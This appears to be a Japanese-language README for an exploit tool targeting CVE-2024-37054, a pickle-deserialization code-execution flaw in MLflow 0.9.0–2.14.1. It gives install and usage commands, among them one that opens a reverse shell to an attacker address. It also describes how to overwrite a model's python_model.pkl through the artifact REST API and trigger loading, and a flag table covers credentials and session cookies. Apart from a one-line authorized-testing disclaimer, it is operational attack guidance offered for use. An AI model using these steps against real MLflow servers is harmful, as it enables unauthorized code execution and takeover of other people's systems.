
CVE-2024-37054 エクスプロイトおよびドキュメント
重要度: Critical
影響を受けるバージョン: MLflow 0.9.0 – 2.14.1
種別: Python pickle のデシリアライゼーションによる任意コード実行
mlflow.pyfunc.load_model() は、アーティファクトストアから python_model.pkl をいかなるサニタイズも行わずにデシリアライズします。MLflow アーティファクト REST API に到達できる攻撃者は、そのファイルを悪意のある pickle で上書きできるため、次回モデルが読み込まれたときに任意の OS コマンドが実行されます。
pip install requests cloudpickle
# Enumerate registered models
python3 exploit.py --mlflow http://mlflow.target.com \
--user admin --pass secret \
list
# Explicit model + MLflow Basic Auth
python3 exploit.py --mlflow http://mlflow.target.com \
--user admin --pass secret \
revshell 10.10.16.1 4444
/api/2.0/mlflow/registered-models/search を照会し、モデルとその run_id / experiment_id を特定する/api/2.0/mlflow-artifacts/artifacts/{exp_id}/{run_id}/artifacts/model/python_model.pkl に PUT するmlflow.pyfunc.load_model() を呼び出す任意のコードパスがペイロードをデシリアライズし、コマンドを実行するトリガーステップには、モデルを読み込むアプリケーションのエンドポイントが必要です。既知のエンドポイントがない場合は --no-trigger(または --trigger-url の省略)を使用し、利用可能な手段で読み込みをトリガーしてください。
許可を得たペネトレーションテストおよび教育目的のみに使用してください。
| フラグ | 説明 |
|---|
--mlflow URL | MLflow トラッキングサーバーのベース URL(必須) |
--model NAME | 登録済みモデル名 — 省略時は最初のモデルを自動選択 |
--version N | モデルバージョン — デフォルトは最新 |
--user / --pass | MLflow の HTTP Basic 認証情報 |
--run-id / --exp-id | 既知の ID を使用してモデル探索をバイパス |
--trigger-url URL | load_model() を呼び出すアプリのエンドポイント — 省略時はアップロードのみ |
--session COOKIE | トリガーリクエストとともに送信するセッションクッキー |